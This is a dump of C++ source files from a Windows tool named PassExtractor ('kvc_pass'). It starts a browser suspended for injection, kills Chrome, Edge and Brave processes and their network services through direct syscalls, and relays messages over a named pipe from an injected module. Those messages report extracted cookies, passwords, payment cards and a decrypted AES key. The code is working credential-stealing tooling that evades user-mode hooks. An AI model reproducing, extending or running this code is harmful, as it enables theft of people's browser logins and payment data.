        WORD originalColor = csbi.wAttributes;

        SetConsoleTextAttribute(hConsole, FOREGROUND_INTENSITY);
        std::wcout << L"  " << note << L"\n";

        SetConsoleTextAttribute(hConsole, originalColor);
    }

    void PrintWarning(const wchar_t* warning) noexcept
    {
        HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
        CONSOLE_SCREEN_BUFFER_INFO csbi;
        GetConsoleScreenBufferInfo(hConsole, &csbi);
        WORD originalColor = csbi.wAttributes;

        SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
        std::wcout << L"  " << warning << L"\n";

        SetConsoleTextAttribute(hConsole, originalColor);
    }
}

<<<FILE: kvc_pass/BrowserHelp.h>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-30 21:52:58
Size:     1.14 KB
// BrowserHelp.h - Comprehensive help and usage information for PassExtractor
#ifndef BROWSER_HELP_H
#define BROWSER_HELP_H

#include <string>

namespace BrowserHelp
{
    // Print complete usage information with formatting and colors
    void PrintUsage(std::wstring_view programName) noexcept;

    // Section printing helpers
    void PrintHeader() noexcept;
    void PrintBasicUsage(std::wstring_view programName) noexcept;
    void PrintBrowserTargets() noexcept;
    void PrintCommandLineOptions() noexcept;
    void PrintOutputFormat() noexcept;
    void PrintTechnicalFeatures() noexcept;
    void PrintUsageExamples(std::wstring_view programName) noexcept;
    void PrintRequirements() noexcept;
    void PrintBrowserSpecificNotes() noexcept;
    void PrintSecurityNotice() noexcept;
    void PrintFooter() noexcept;

    // Formatting helpers
    void PrintSectionHeader(const wchar_t* title) noexcept;
    void PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept;
    void PrintNote(const wchar_t* note) noexcept;
    void PrintWarning(const wchar_t* warning) noexcept;
}

#endif // BROWSER_HELP_H

<<<FILE: kvc_pass/BrowserProcessManager.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-29 15:02:56
Size:     8.24 KB
// BrowserProcessManager.cpp - Browser process management and cleanup operations
#include "BrowserProcessManager.h"
#include "syscalls.h"
#include <stdexcept>

#ifndef IMAGE_FILE_MACHINE_AMD64
#define IMAGE_FILE_MACHINE_AMD64 0x8664
#endif

#ifndef IMAGE_FILE_MACHINE_I386
#define IMAGE_FILE_MACHINE_I386 0x014c
#endif

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

// Handle cleanup using direct syscall
void HandleDeleter::operator()(HANDLE h) const noexcept
{
    if (h && h != INVALID_HANDLE_VALUE)
        NtClose_syscall(h);
}

// Constructor initializes target process context
TargetProcess::TargetProcess(const Configuration& config, const Console& console) 
    : m_config(config), m_console(console) {}

// Creates suspended browser process for safe injection
void TargetProcess::createSuspended()
{
    m_console.Debug("Creating suspended " + m_config.browserDisplayName + " process.");
    m_console.Debug("Target executable path: " + Utils::WStringToUtf8(m_config.browserDefaultExePath));

    STARTUPINFOW si{};
    PROCESS_INFORMATION pi{};
    si.cb = sizeof(si);

    if (!CreateProcessW(m_config.browserDefaultExePath.c_str(), nullptr, nullptr, nullptr,
                       FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi))
        throw std::runtime_error("CreateProcessW failed. Error: " + std::to_string(GetLastError()));

    m_hProcess.reset(pi.hProcess);
    m_hThread.reset(pi.hThread);
    m_pid = pi.dwProcessId;

    m_console.Debug("Created suspended process PID: " + std::to_string(m_pid));
    checkArchitecture();
}

// Terminates target process via direct syscall
void TargetProcess::terminate()
{
    if (m_hProcess)
    {
        m_console.Debug("Terminating browser PID=" + std::to_string(m_pid) + " via direct syscall.");
        NtTerminateProcess_syscall(m_hProcess.get(), 0);
        m_console.Debug(m_config.browserDisplayName + " terminated by orchestrator.");
    }
}

// Validates matching x64 architecture
void TargetProcess::checkArchitecture()
{
    USHORT processArch = 0, nativeMachine = 0;
    auto fnIsWow64Process2 = (decltype(&IsWow64Process2))GetProcAddress(
        GetModuleHandleW(L"kernel32.dll"), "IsWow64Process2");
    if (!fnIsWow64Process2 || !fnIsWow64Process2(m_hProcess.get(), &processArch, &nativeMachine))
        throw std::runtime_error("Failed to determine target process architecture.");

    m_arch = (processArch == IMAGE_FILE_MACHINE_UNKNOWN) ? nativeMachine : processArch;
    constexpr USHORT orchestratorArch = IMAGE_FILE_MACHINE_AMD64;

    if (m_arch != orchestratorArch)
        throw std::runtime_error("Architecture mismatch. Orchestrator is x64 but target is " + 
                               std::string(getArchName(m_arch)));

    m_console.Debug("Architecture match: Orchestrator=x64, Target=" + std::string(getArchName(m_arch)));
}

// Returns human-readable architecture name
const char* TargetProcess::getArchName(USHORT arch) const noexcept
{
    switch (arch)
    {
    case IMAGE_FILE_MACHINE_AMD64: return "x64";
    case IMAGE_FILE_MACHINE_I386:  return "x86";
    default:                       return "Unknown";
    }
}

// Terminates all browser processes matching the target executable name
void KillBrowserProcesses(const Configuration& config, const Console& console)
{
    console.Debug("Terminating all browser processes to release file locks...");

    UniqueHandle hCurrentProc;
    HANDLE nextProcHandle = nullptr;
    int processes_terminated = 0;

    while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, 
                                             0, 0, &nextProcHandle)))
    {
        UniqueHandle hNextProc(nextProcHandle);
        hCurrentProc = std::move(hNextProc);
        
        std::vector<BYTE> buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2);
        auto imageName = reinterpret_cast<PUNICODE_STRING_SYSCALLS>(buffer.data());
        if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName, 
                                                         imageName, (ULONG)buffer.size(), NULL)) || 
            imageName->Length == 0)
            continue;

        fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t)));
        if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0)
            continue;
        
        PROCESS_BASIC_INFORMATION pbi{};
        if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation, 
                                                         &pbi, sizeof(pbi), nullptr)) || 
            !pbi.PebBaseAddress)
            continue;

        console.Debug("Found and terminated browser process PID: " + std::to_string((DWORD)pbi.UniqueProcessId));
        NtTerminateProcess_syscall(hCurrentProc.get(), 0);
        processes_terminated++;
    }

    if (processes_terminated > 0)
    {
        console.Debug("Terminated " + std::to_string(processes_terminated) + " browser processes. Waiting for file locks to release.");
        Sleep(2000); 
    }
}

// Terminates browser network service processes that hold database locks
void KillBrowserNetworkService(const Configuration& config, const Console& console)
{
    console.Debug("Scanning for and terminating browser network services...");

    UniqueHandle hCurrentProc;
    HANDLE nextProcHandle = nullptr;
    int processes_terminated = 0;
    
    while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, 
                                             0, 0, &nextProcHandle)))
    {
        UniqueHandle hNextProc(nextProcHandle);
        hCurrentProc = std::move(hNextProc);
        
        std::vector<BYTE> buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2);
        auto imageName = reinterpret_cast<PUNICODE_STRING_SYSCALLS>(buffer.data());
        if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName, 
                                                         imageName, (ULONG)buffer.size(), NULL)) || 
            imageName->Length == 0)
            continue;

        fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t)));
        if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0)
            continue;
        
        PROCESS_BASIC_INFORMATION pbi{};
        if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation, 
                                                         &pbi, sizeof(pbi), nullptr)) || 
            !pbi.PebBaseAddress)
            continue;

        PEB peb{};
        if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr)))
            continue;

        RTL_USER_PROCESS_PARAMETERS params{};
        if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, &params, sizeof(params), nullptr)))
            continue;
        
        std::vector<wchar_t> cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0);
        if (params.CommandLine.Length > 0 && 
            !NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer, 
                                                   cmdLine.data(), params.CommandLine.Length, nullptr)))
            continue;
        
        if (wcsstr(cmdLine.data(), L"--utility-sub-type=network.mojom.NetworkService"))
        {
            console.Debug("Found and terminated network service PID: " + std::to_string((DWORD)pbi.UniqueProcessId));
            NtTerminateProcess_syscall(hCurrentProc.get(), 0);
            processes_terminated++;
        }
    }

    if (processes_terminated > 0)
    {
        console.Debug("Termination sweep complete. Waiting for file locks to fully release.");
        Sleep(1500);
    }
}

// Checks if Windows native SQLite library is available
bool CheckWinSQLite3Available()
{
    HMODULE hWinSQLite = LoadLibraryW(L"winsqlite3.dll");
    if (hWinSQLite)
    {
        FreeLibrary(hWinSQLite);
        return true;
    }
    return false;
}

<<<FILE: kvc_pass/BrowserProcessManager.h>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-29 15:03:20
Size:     1.62 KB
// BrowserProcessManager.h - Browser process lifecycle and cleanup management
#ifndef BROWSER_PROCESS_MANAGER_H
#define BROWSER_PROCESS_MANAGER_H

#include <Windows.h>
#include "OrchestratorCore.h"
#include "CommunicationLayer.h"

// RAII wrapper for Windows handle management with syscall-based cleanup
struct HandleDeleter
{
    void operator()(HANDLE h) const noexcept;
};
using UniqueHandle = std::unique_ptr<void, HandleDeleter>;

// Manages target browser process lifecycle
class TargetProcess
{
public:
    TargetProcess(const Configuration& config, const Console& console);

    // Creates browser process in suspended state for injection
    void createSuspended();

    // Terminates the target process using direct syscall
    void terminate();

    HANDLE getProcessHandle() const noexcept { return m_hProcess.get(); }

private:
    // Validates architecture compatibility between orchestrator and target
    void checkArchitecture();
    const char* getArchName(USHORT arch) const noexcept;

    const Configuration& m_config;
    const Console& m_console;
    DWORD m_pid = 0;
    UniqueHandle m_hProcess;
    UniqueHandle m_hThread;
    USHORT m_arch = 0;
};

// Terminates all running browser processes to release database file locks
void KillBrowserProcesses(const Configuration& config, const Console& console);

// Terminates browser network service which often holds database locks
void KillBrowserNetworkService(const Configuration& config, const Console& console);

// Checks availability of Windows native SQLite library
bool CheckWinSQLite3Available();

#endif // BROWSER_PROCESS_MANAGER_H

<<<FILE: kvc_pass/CommunicationLayer.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-03-29 16:26:25
Size:     15.06 KB
// CommunicationLayer.cpp - Console and pipe communication implementation
#include "CommunicationLayer.h"
#include "syscalls.h"
#include <ShlObj.h>
#include <Rpc.h>
#include <iostream>
#include <algorithm>

#pragma comment(lib, "Rpcrt4.lib")

constexpr DWORD MODULE_COMPLETION_TIMEOUT_MS = 60000;

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

// Utility function implementations
namespace Utils
{
    std::string u8string_to_string(const std::u8string& u8str) noexcept
    {
        return {reinterpret_cast<const char*>(u8str.c_str()), u8str.size()};
    }

    std::string path_to_api_string(const fs::path& path)
    {
        return u8string_to_string(path.u8string());
    }
    
    fs::path GetLocalAppDataPath()
    {
        PWSTR path = nullptr;
        if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
        {
            fs::path result = path;
            CoTaskMemFree(path);
            return result;
        }
        throw std::runtime_error("Failed to get Local AppData path.");
    }

    std::string WStringToUtf8(std::wstring_view w_sv)
    {
        if (w_sv.empty()) return {};

        int size_needed = WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast<int>(w_sv.length()),
                                            nullptr, 0, nullptr, nullptr);
        std::string utf8_str(size_needed, '\0');
        WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast<int>(w_sv.length()),
                          &utf8_str[0], size_needed, nullptr, nullptr);
        return utf8_str;
    }

    std::string PtrToHexStr(const void* ptr) noexcept
    {
        std::ostringstream oss;
        oss << "0x" << std::hex << reinterpret_cast<uintptr_t>(ptr);
        return oss.str();
    }

    std::string NtStatusToString(NTSTATUS status) noexcept
    {
        std::ostringstream oss;
        oss << "0x" << std::hex << status;
        return oss.str();
    }

    std::wstring GenerateUniquePipeName()
    {
        UUID uuid;
        UuidCreate(&uuid);
        wchar_t* uuidStrRaw = nullptr;
        UuidToStringW(&uuid, (RPC_WSTR*)&uuidStrRaw);
        std::wstring pipeName = L"\\\\.\\pipe\\" + std::wstring(uuidStrRaw);
        RpcStringFreeW((RPC_WSTR*)&uuidStrRaw);
        return pipeName;
    }

    std::string Capitalize(const std::string& str)
    {
        if (str.empty()) return str;
        std::string result = str;
        result[0] = static_cast<char>(std::toupper(static_cast<unsigned char>(result[0])));
        return result;
    }
}

// Console implementation
Console::Console(bool verbose) : m_verbose(verbose), m_hConsole(GetStdHandle(STD_OUTPUT_HANDLE))
{
    CONSOLE_SCREEN_BUFFER_INFO consoleInfo;
    GetConsoleScreenBufferInfo(m_hConsole, &consoleInfo);
    m_originalAttributes = consoleInfo.wAttributes;
}

void Console::Info(const std::string& msg) const { print("[*]", msg, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
void Console::Success(const std::string& msg) const { print("[+]", msg, FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
void Console::Error(const std::string& msg) const { print("[-]", msg, FOREGROUND_RED | FOREGROUND_INTENSITY); }
void Console::Warn(const std::string& msg) const { print("[!]", msg, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); }

void Console::Debug(const std::string& msg) const
{
    if (m_verbose)
        print("[#]", msg, FOREGROUND_RED | FOREGROUND_GREEN);
}

void Console::Relay(const std::string& message) const
{
    size_t tagStart = message.find('[');
    size_t tagEnd = message.find(']', tagStart);
    
    if (tagStart != std::string::npos && tagEnd != std::string::npos)
    {
        std::cout << message.substr(0, tagStart);
        std::string tag = message.substr(tagStart, tagEnd - tagStart + 1);

        WORD color = m_originalAttributes;
        if (tag == "[+]") color = FOREGROUND_GREEN | FOREGROUND_INTENSITY;
        else if (tag == "[-]") color = FOREGROUND_RED | FOREGROUND_INTENSITY;
        else if (tag == "[*]") color = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
        else if (tag == "[!]") color = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY;

        SetColor(color);
        std::cout << tag;
        ResetColor();
        std::cout << message.substr(tagEnd + 1) << std::endl;
    }
    else
    {
        std::cout << message << std::endl;
    }
}

void Console::print(const std::string& tag, const std::string& msg, WORD color) const
{
    SetColor(color);
    std::cout << tag;
    ResetColor();
    std::cout << " " << msg << std::endl;
}

void Console::SetColor(WORD attributes) const noexcept { SetConsoleTextAttribute(m_hConsole, attributes); }
void Console::ResetColor() const noexcept { SetConsoleTextAttribute(m_hConsole, m_originalAttributes); }

// PipeCommunicator implementation
PipeCommunicator::PipeCommunicator(const std::wstring& pipeName, const Console& console) 
    : m_pipeName(pipeName), m_console(console) {}

void PipeCommunicator::create()
{
    m_pipeHandle.reset(CreateNamedPipeW(m_pipeName.c_str(), PIPE_ACCESS_DUPLEX,
                                      PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
                                      1, 65536, 65536, 0, nullptr));
    if (!m_pipeHandle)
        throw std::runtime_error("CreateNamedPipeW failed. Error: " + std::to_string(GetLastError()));

    m_console.Debug("Named pipe server created: " + Utils::WStringToUtf8(m_pipeName));
}

void PipeCommunicator::waitForClient()
{
    m_console.Debug("Waiting for security module to connect to named pipe.");
    if (!ConnectNamedPipe(m_pipeHandle.get(), nullptr) && GetLastError() != ERROR_PIPE_CONNECTED)
        throw std::runtime_error("ConnectNamedPipe failed. Error: " + std::to_string(GetLastError()));

    m_console.Debug("Security module connected to named pipe.");
}

void PipeCommunicator::sendInitialData(bool isVerbose, const fs::path& outputPath, const std::vector<uint8_t>& edgeDpapiKey)
{
    writeMessage(isVerbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE");
    writeMessage(Utils::path_to_api_string(outputPath));
    
    // Send DPAPI key as hex string (or "NONE" if empty)
    if (!edgeDpapiKey.empty())
    {
        std::ostringstream oss;
        oss << std::hex << std::setfill('0');
        for (uint8_t byte : edgeDpapiKey)
            oss << std::setw(2) << static_cast<int>(byte);
        writeMessage("DPAPI_KEY:" + oss.str());
    }
    else
    {
        writeMessage("DPAPI_KEY:NONE");
    }
}

void PipeCommunicator::relayMessages()
{
    m_console.Debug("Waiting for security module execution. (Pipe: " + Utils::WStringToUtf8(m_pipeName) + ")");

    std::cout << std::endl;

    const std::string moduleCompletionSignal = "__DLL_PIPE_COMPLETION_SIGNAL__";
    DWORD startTime = GetTickCount();
    std::string accumulatedData;
    char buffer[4096];
    bool completed = false;

    while (!completed && (GetTickCount() - startTime < MODULE_COMPLETION_TIMEOUT_MS))
    {
        DWORD bytesAvailable = 0;
        if (!PeekNamedPipe(m_pipeHandle.get(), nullptr, 0, nullptr, &bytesAvailable, nullptr))
        {
            if (GetLastError() == ERROR_BROKEN_PIPE)
                break;
            m_console.Error("PeekNamedPipe failed. Error: " + std::to_string(GetLastError()));
            break;
        }

        if (bytesAvailable == 0)
        {
            Sleep(100);
            continue;
        }

        DWORD bytesRead = 0;
        if (!ReadFile(m_pipeHandle.get(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
        {
            if (GetLastError() == ERROR_BROKEN_PIPE)
                break;
            continue;
        }

        accumulatedData.append(buffer, bytesRead);

        size_t messageStart = 0;
        size_t nullPos;
        while ((nullPos = accumulatedData.find('\0', messageStart)) != std::string::npos)
        {
            std::string message = accumulatedData.substr(messageStart, nullPos - messageStart);
            messageStart = nullPos + 1;

            if (message == moduleCompletionSignal)
            {
                m_console.Debug("Security module completion signal received.");
                completed = true;
                break;
            }

            parseExtractionMessage(message);

            if (!message.empty())
                m_console.Relay(message);
        }
        
        if (completed)
            break;
            
        accumulatedData.erase(0, messageStart);
    }

    std::cout << std::endl;

    m_console.Debug("Security module signaled completion or pipe interaction ended.");
}

void PipeCommunicator::writeMessage(const std::string& msg)
{
    DWORD bytesWritten = 0;
    if (!WriteFile(m_pipeHandle.get(), msg.c_str(), static_cast<DWORD>(msg.length() + 1), &bytesWritten, nullptr) ||
        bytesWritten != (msg.length() + 1))
        throw std::runtime_error("WriteFile to pipe failed for message: " + msg);

    FlushFileBuffers(m_pipeHandle.get());

    m_console.Debug("Sent message to pipe: " + msg);
}

void PipeCommunicator::parseExtractionMessage(const std::string& message)
{
    auto extractNumber = [&message](const std::string& prefix, const std::string& suffix) -> int
    {
        size_t start = message.find(prefix);
        if (start == std::string::npos) return 0;
        start += prefix.length();
        size_t end = message.find(suffix, start);
        if (end == std::string::npos) return 0;
        
        try {
            return std::stoi(message.substr(start, end - start));
        }
        catch (...) {
            return 0;
        }
    };

    if (message.find("Found ") != std::string::npos && message.find("profile(s)") != std::string::npos)
        m_stats.profileCount = extractNumber("Found ", " profile(s)");

    if (message.find("Decrypted AES Key: ") != std::string::npos)
        m_stats.aesKey = message.substr(message.find("Decrypted AES Key: ") + 19);

    if (message.find(" cookies extracted to ") != std::string::npos)
        m_stats.totalCookies += extractNumber("[*] ", " cookies");

    if (message.find(" passwords extracted to ") != std::string::npos)
        m_stats.totalPasswords += extractNumber("[*] ", " passwords");

    if (message.find(" payments extracted to ") != std::string::npos)
        m_stats.totalPayments += extractNumber("[*] ", " payments");
}

// BrowserPathResolver implementation
BrowserPathResolver::BrowserPathResolver(const Console& console) : m_console(console) {}

std::wstring BrowserPathResolver::resolve(const std::wstring& browserExeName)
{
    m_console.Debug("Searching Registry for: " + Utils::WStringToUtf8(browserExeName));

    const std::wstring registryPaths[] = {
        L"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName,
        L"\\Registry\\Machine\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName
    };

    for (const auto& regPath : registryPaths)
    {
        std::wstring path = queryRegistryDefaultValue(regPath);
        if (!path.empty() && fs::exists(path))
        {
            m_console.Debug("Found at: " + Utils::WStringToUtf8(path));
            return path;
        }
    }

    m_console.Debug("Not found in Registry");
    return L"";
}

std::vector<std::pair<std::wstring, std::wstring>> BrowserPathResolver::findAllInstalledBrowsers()
{
    std::vector<std::pair<std::wstring, std::wstring>> installedBrowsers;

    const std::pair<std::wstring, std::wstring> supportedBrowsers[] = {
        {L"chrome", L"chrome.exe"},
        {L"edge", L"msedge.exe"},
        {L"brave", L"brave.exe"}
    };

    m_console.Debug("Enumerating installed browsers...");

    for (const auto& [browserType, exeName] : supportedBrowsers)
    {
        std::wstring path = resolve(exeName);
        if (!path.empty())
        {
            installedBrowsers.push_back({browserType, path});
            m_console.Debug("Found " + Utils::Capitalize(Utils::WStringToUtf8(browserType)) + 
                          " at: " + Utils::WStringToUtf8(path));
        }
    }

    if (installedBrowsers.empty())
        m_console.Warn("No supported browsers found installed on this system");
    else
        m_console.Debug("Found " + std::to_string(installedBrowsers.size()) + " browser(s) to process");

    return installedBrowsers;
}

std::wstring BrowserPathResolver::queryRegistryDefaultValue(const std::wstring& keyPath)
{
    std::vector<wchar_t> pathBuffer(keyPath.begin(), keyPath.end());
    pathBuffer.push_back(L'\0');

    UNICODE_STRING_SYSCALLS keyName;
    keyName.Buffer = pathBuffer.data();
    keyName.Length = static_cast<USHORT>(keyPath.length() * sizeof(wchar_t));
    keyName.MaximumLength = static_cast<USHORT>(pathBuffer.size() * sizeof(wchar_t));

    OBJECT_ATTRIBUTES objAttr;
    InitializeObjectAttributes(&objAttr, &keyName, OBJ_CASE_INSENSITIVE, nullptr, nullptr);

    HANDLE hKey = nullptr;
    NTSTATUS status = NtOpenKey_syscall(&hKey, KEY_READ, &objAttr);

    if (!NT_SUCCESS(status))
    {
        if (status != (NTSTATUS)0xC0000034) // STATUS_OBJECT_NAME_NOT_FOUND
            m_console.Debug("Registry access failed: " + Utils::NtStatusToString(status));
        return L"";
    }

    // RAII guard for key handle
    struct KeyGuard {
        HANDLE h;
        ~KeyGuard() { if (h) NtClose_syscall(h); }
    } keyGuard{hKey};

    UNICODE_STRING_SYSCALLS valueName = {0, 0, nullptr};
    ULONG bufferSize = 4096;
    std::vector<BYTE> buffer(bufferSize);
    ULONG resultLength = 0;

    status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation,
                                   buffer.data(), bufferSize, &resultLength);
    
    if (status == STATUS_BUFFER_TOO_SMALL || status == STATUS_BUFFER_OVERFLOW)
    {
        buffer.resize(resultLength);
        bufferSize = resultLength;
        status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation,
                                       buffer.data(), bufferSize, &resultLength);
    }

    if (!NT_SUCCESS(status))
        return L"";

    auto kvpi = reinterpret_cast<PKEY_VALUE_PARTIAL_INFORMATION>(buffer.data());

    if (kvpi->Type != REG_SZ && kvpi->Type != REG_EXPAND_SZ)
        return L"";
    if (kvpi->DataLength < sizeof(wchar_t) * 2)
        return L"";

    size_t charCount = kvpi->DataLength / sizeof(wchar_t);
    std::wstring path(reinterpret_cast<wchar_t*>(kvpi->Data), charCount);
    
    while (!path.empty() && path.back() == L'\0')
        path.pop_back();

    if (path.empty())
        return L"";

    if (kvpi->Type == REG_EXPAND_SZ)
    {
        std::vector<wchar_t> expanded(MAX_PATH * 2);
        DWORD size = ExpandEnvironmentStringsW(path.c_str(), expanded.data(), 
                                             static_cast<DWORD>(expanded.size()));
        if (size > 0 && size <= expanded.size())
            path = std::wstring(expanded.data());
    }

    return path;
}

<<<FILE: kvc_pass/CommunicationLayer.h>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-30 21:54:16
Size:     3.16 KB
// CommunicationLayer.h - Console output and inter-process communication
#ifndef COMMUNICATION_LAYER_H
#define COMMUNICATION_LAYER_H

#include <Windows.h>
#include <filesystem>
#include <string>
#include <vector>
#include <sstream>
#include "BannerSystem.h"
#include "BrowserHelp.h"

namespace fs = std::filesystem;

// Utility functions for string and path operations
namespace Utils
{
    std::string u8string_to_string(const std::u8string& u8str) noexcept;
    std::string path_to_api_string(const fs::path& path);
    fs::path GetLocalAppDataPath();
    std::string WStringToUtf8(std::wstring_view w_sv);
    std::string PtrToHexStr(const void* ptr) noexcept;
    std::string NtStatusToString(NTSTATUS status) noexcept;
    std::wstring GenerateUniquePipeName();
    std::string Capitalize(const std::string& str);
}

// Manages console output with colored messages
class Console
{
public:
    explicit Console(bool verbose);

    void Info(const std::string& msg) const;
    void Success(const std::string& msg) const;
    void Error(const std::string& msg) const;
    void Warn(const std::string& msg) const;
    void Debug(const std::string& msg) const;
    void Relay(const std::string& message) const;

    bool m_verbose;

private:
    void print(const std::string& tag, const std::string& msg, WORD color) const;
    void SetColor(WORD attributes) const noexcept;
    void ResetColor() const noexcept;

    HANDLE m_hConsole;
    WORD m_originalAttributes;
};

// Handles named pipe communication with injected module
class PipeCommunicator
{
public:
    struct ExtractionStats
    {
        int totalCookies = 0;
        int totalPasswords = 0;
        int totalPayments = 0;
        int profileCount = 0;
        std::string aesKey;
    };

    PipeCommunicator(const std::wstring& pipeName, const Console& console);

    void create();
    void waitForClient();
    void sendInitialData(bool isVerbose, const fs::path& outputPath, const std::vector<uint8_t>& edgeDpapiKey = {});
    void relayMessages();

    const ExtractionStats& getStats() const noexcept { return m_stats; }
    const std::wstring& getName() const noexcept { return m_pipeName; }

private:
    // RAII wrapper for pipe handle
    struct PipeDeleter
    {
        void operator()(HANDLE h) const noexcept
        {
            if (h != INVALID_HANDLE_VALUE)
                CloseHandle(h);
        }
    };
    using UniquePipe = std::unique_ptr<void, PipeDeleter>;

    void writeMessage(const std::string& msg);
    void parseExtractionMessage(const std::string& message);

    std::wstring m_pipeName;
    const Console& m_console;
    UniquePipe m_pipeHandle;
    ExtractionStats m_stats;
};

// Resolves browser installation paths via Registry
class BrowserPathResolver
{
public:
    explicit BrowserPathResolver(const Console& console);

    std::wstring resolve(const std::wstring& browserExeName);
    std::vector<std::pair<std::wstring, std::wstring>> findAllInstalledBrowsers();

private:
    std::wstring queryRegistryDefaultValue(const std::wstring& keyPath);

    const Console& m_console;
};

#endif // COMMUNICATION_LAYER_H

<<<FILE: kvc_pass/CommunicationModule.cpp>>>
Created:  2026-03-22 18:31:05
Modified: 2026-03-29 03:23:15
Size:     3.28 KB
// CommunicationModule.cpp - Pipe communication and utility functions
#include "CommunicationModule.h"
#include <ShlObj.h>
#include <Wincrypt.h>

#pragma comment(lib, "Crypt32.lib")

namespace SecurityComponents
{
    namespace Utils
    {
        // Retrieves Local AppData path
        fs::path GetLocalAppDataPath()
        {
            PWSTR path = nullptr;
            if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
            {
                fs::path result = path;
                CoTaskMemFree(path);
                return result;
            }
            throw std::runtime_error("Failed to get Local AppData path.");
        }

        // Decodes Base64 string into byte vector
        std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input)
        {
            DWORD size = 0;
            if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
                return std::nullopt;
            
            std::vector<uint8_t> data(size);
            if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr))
                return std::nullopt;
            
            return data;
        }

        // Converts byte array to hex string
        std::string BytesToHexString(const std::vector<uint8_t>& bytes)
        {
            std::ostringstream oss;
            oss << std::hex << std::setfill('0');
            for (uint8_t byte : bytes)
                oss << std::setw(2) << static_cast<int>(byte);
            return oss.str();
        }

        // Escapes JSON special characters
        std::string EscapeJson(const std::string& s)
        {
            std::ostringstream o;
            for (char c : s)
            {
                switch (c)
                {
                case '"':  o << "\\\""; break;
                case '\\': o << "\\\\"; break;
                case '\b': o << "\\b"; break;
                case '\f': o << "\\f"; break;
                case '\n': o << "\\n"; break;
                case '\r': o << "\\r"; break;
                case '\t': o << "\\t"; break;
                default:
                    if ('\x00' <= c && c <= '\x1f')
                    {
                        o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast<int>(c);
                    }
                    else
                    {
                        o << c;
                    }
                }
            }
            return o.str();
        }
    }

    // PipeLogger implementation
    PipeLogger::PipeLogger(LPCWSTR pipeName)
    {
        m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
    }

    PipeLogger::~PipeLogger()
    {
        if (m_pipe != INVALID_HANDLE_VALUE)
        {
            Log("__DLL_PIPE_COMPLETION_SIGNAL__");
            FlushFileBuffers(m_pipe);
            CloseHandle(m_pipe);
        }
    }

    void PipeLogger::Log(const std::string& message)
    {
        if (isValid())
        {
            DWORD bytesWritten = 0;
            WriteFile(m_pipe, message.c_str(), static_cast<DWORD>(message.length() + 1), &bytesWritten, nullptr);
        }
    }
}

<<<FILE: kvc_pass/CommunicationModule.h>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-29 14:57:24
Size:     1.53 KB
// CommunicationModule.h - Inter-process communication and utilities
#ifndef COMMUNICATION_MODULE_H
#define COMMUNICATION_MODULE_H

#include <Windows.h>
#include <string>
#include <vector>
#include <optional>
#include <filesystem>
#include <sstream>
#include <iomanip>

namespace fs = std::filesystem;

// String utility functions for internal module use
namespace StringUtils
{
    inline std::string path_to_string(const fs::path& path)
    {
